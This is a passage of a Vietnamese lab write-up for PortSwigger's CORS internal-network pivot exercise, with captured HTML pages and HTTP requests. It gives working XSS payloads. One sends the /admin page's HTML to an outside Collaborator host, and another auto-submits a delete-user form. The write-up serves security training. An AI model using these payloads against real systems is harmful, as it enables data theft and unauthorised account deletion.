    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labs.css rel=stylesheet>
        <title>CORS vulnerability with internal network pivot attack</title>
    </head>
    <body>
        <script src="/resources/labheader/js/labHeader.js"></script>
        <div id="academyLabHeader">
            <section class='academyLabBanner'>
                <div class=container>
                    <div class=logo></div>
                        <div class=title-container>
                            <h2>CORS vulnerability with internal network pivot attack</h2>
                            <a id='exploit-link' class='button' target='_blank' href='http://exploit-0ace00ad041d84a8819b42fd014200a7.exploit-server.net'>Go to exploit server</a>
                            <a class=link-back href='https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack'>
                                Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                                <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
                                    <g>
                                        <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
                                        <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
                                    </g>
                                </svg>
                            </a>
                        </div>
                        <div class='widgetcontainer-lab-status is-notsolved'>
                            <span>LAB</span>
                            <p>Not solved</p>
                            <span class=lab-status-icon></span>
                        </div>
                    </div>
                </div>
            </section>
        </div>
        <div theme="">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href="/my-account">My account</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <h1>Login</h1>
                    <section>
                        <form class=login-form method=POST action="/login">
                            <input required type="hidden" name="csrf" value="F2W45cip7I3mVURzRTfmjt8V07PuucEp">
                            <label>Username</label>
                            <input required type=username name="username" autofocus>
                            <label>Password</label>
                            <input required type=password name="password">
                            <button class=button type=submit> Log in </button>
                        </form>
                    </section>
                </div>
            </section>
            <div class="footer-wrapper">
            </div>
        </div>
    </body>
</html>
&1713801873847 HTTP/1.1
Host: p4uyl33n3as71hf5xpf6wt6e65cw0rog.oastify.com
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://exploit-0ace00ad041d84a8819b42fd014200a7.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
 
 

Có thể thấy, ta đã biết được IP của server nội bộ là 192.168.0.169 cũng như là response mà nó trả về:

<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labs.css rel=stylesheet>
        <title>CORS vulnerability with internal network pivot attack</title>
    </head>
    <body>
        <script src="/resources/labheader/js/labHeader.js"></script>
        <div id="academyLabHeader">
            <section class='academyLabBanner'>
                <div class=container>
                    <div class=logo></div>
                        <div class=title-container>
                            <h2>CORS vulnerability with internal network pivot attack</h2>
                            <a id='exploit-link' class='button' target='_blank' href='http://exploit-0ace00ad041d84a8819b42fd014200a7.exploit-server.net'>Go to exploit server</a>
                            <a class=link-back href='https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack'>
                                Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                                <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
                                    <g>
                                        <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
                                        <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
                                    </g>
                                </svg>
                            </a>
                        </div>
                        <div class='widgetcontainer-lab-status is-notsolved'>
                            <span>LAB</span>
                            <p>Not solved</p>
                            <span class=lab-status-icon></span>
                        </div>
                    </div>
                </div>
            </section>
        </div>
        <div theme="">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href="/my-account">My account</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <h1>Login</h1>
                    <section>
                        <form class=login-form method=POST action="/login">
                            <input required type="hidden" name="csrf" value="F2W45cip7I3mVURzRTfmjt8V07PuucEp">
                            <label>Username</label>
                            <input required type=username name="username" autofocus>
                            <label>Password</label>
                            <input required type=password name="password">
                            <button class=button type=submit> Log in </button>
                        </form>
                    </section>
                </div>
            </section>
            <div class="footer-wrapper">
            </div>
        </div>
    </body>
</html>

Ta sẽ thử thực hiện XSS attack vào trường username của form đăng nhập nhằm lấy CSRF token:

<script>
function xss(url, text, vector) {
	location = url + '/login?username='+encodeURIComponent(vector);
}
 
function fetchUrl(url, collaboratorURL){
	fetch(url).then(r => r.text().then(text => {
		xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
	}))
}
 
fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>

Giải thích đoạn code trên:

  • Hàm fetchUrl thực hiện gửi request đến server nội bộ. Sau khi có response thì nó sẽ gọi hàm xss để chuyển hướng đến trang đăng nhập và chèn payload vào trường username.
  • Payload bao gồm dấu nháy kép để đóng thuộc tính value và một thẻ <img>src là URL của Collaborator server với query param foundXSS.

Có request sau gửi đến Collaborator:

GET /?foundXSS=1 HTTP/1.1
Host: 6iptq39q4l2or4s0721sc5u2htnkbazz.oastify.com
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: http://192.168.0.169:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Request này cho thấy ta có thể tấn công XSS.

Thay payload ở trong exploit trên bằng payload sau:

"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">

Payload này nhúng một iframe đến endpoint /admin và gửi request đến Collaborator kèm theo HTML của endpoint /admin.

Request đến Collaborator cho ta biết mã nguồn trang /admin là:

<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
	<section class="academyLabBanner">
		<div class="container">
			<div class="logo"></div>
				<div class="title-container">
					<h2>CORS vulnerability with internal network pivot attack</h2>
					<a id="exploit-link" class="button" target="_blank" href="http://exploit-0ace00ad041d84a8819b42fd014200a7.exploit-server.net">Go to exploit server</a>
					<a class="link-back" href="https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack">
						Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
						<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 28 30" xml:space="preserve" title="back-arrow">
							<g>
								<polygon points="1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15"></polygon>
								<polygon points="14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15"></polygon>
							</g>
						</svg>
					</a>
				</div>
				<div class="widgetcontainer-lab-status is-notsolved">
					<span>LAB</span>
					<p>Not solved</p>
					<span class="lab-status-icon"></span>
				</div>
			</div>
		</section></div>
	
 
<div theme="">
	<section class="maincontainer">
		<div class="container is-page">
			<header class="navigation-header">
				<section class="top-links">
					<a href="/">Home</a><p>|</p>
					<a href="/admin">Admin panel</a><p>|</p>
					<a href="/my-account?id=administrator">My account</a><p>|</p>
				</section>
			</header>
			<header class="notification-header">
			</header>
			<form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
				<input required="" type="hidden" name="csrf" value="JyYjVv0gAvzl5DhscgcxrzAqS0p46yq2">
				<label>Username</label>
				<input required="" type="text" name="username">
				<button class="button" type="submit">Delete user</button>
			</form>
		</div>
	</section>
	<div class="footer-wrapper">
	</div>
</div>

Có thể thấy, để xóa người dùng thì ta cần gửi một POST request đến endpoint /admin/delete kèm theo username và CSRF token.

Xây dựng payload như sau để gửi POST request:

"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">

Thế payload này vào exploit ở trên và chuyển giao cho nạn nhân để xóa người dùng carlos.

list
from outgoing([[Port Swigger - Vulnerabilities Arising From CORS Configuration Issues]])
sort file.ctime asc

Resources

Footnotes

  1. một cross-origin request có thể là same-site request nếu như server và client có cùng domain nhưng khác subdomain.

  2. là cửa sổ duyệt web cha mà có các cửa sổ con được nhúng vào (iframe) hoặc được mở ra (pop-up). Tham khảo thêm https://github.com/whatwg/html/issues/2322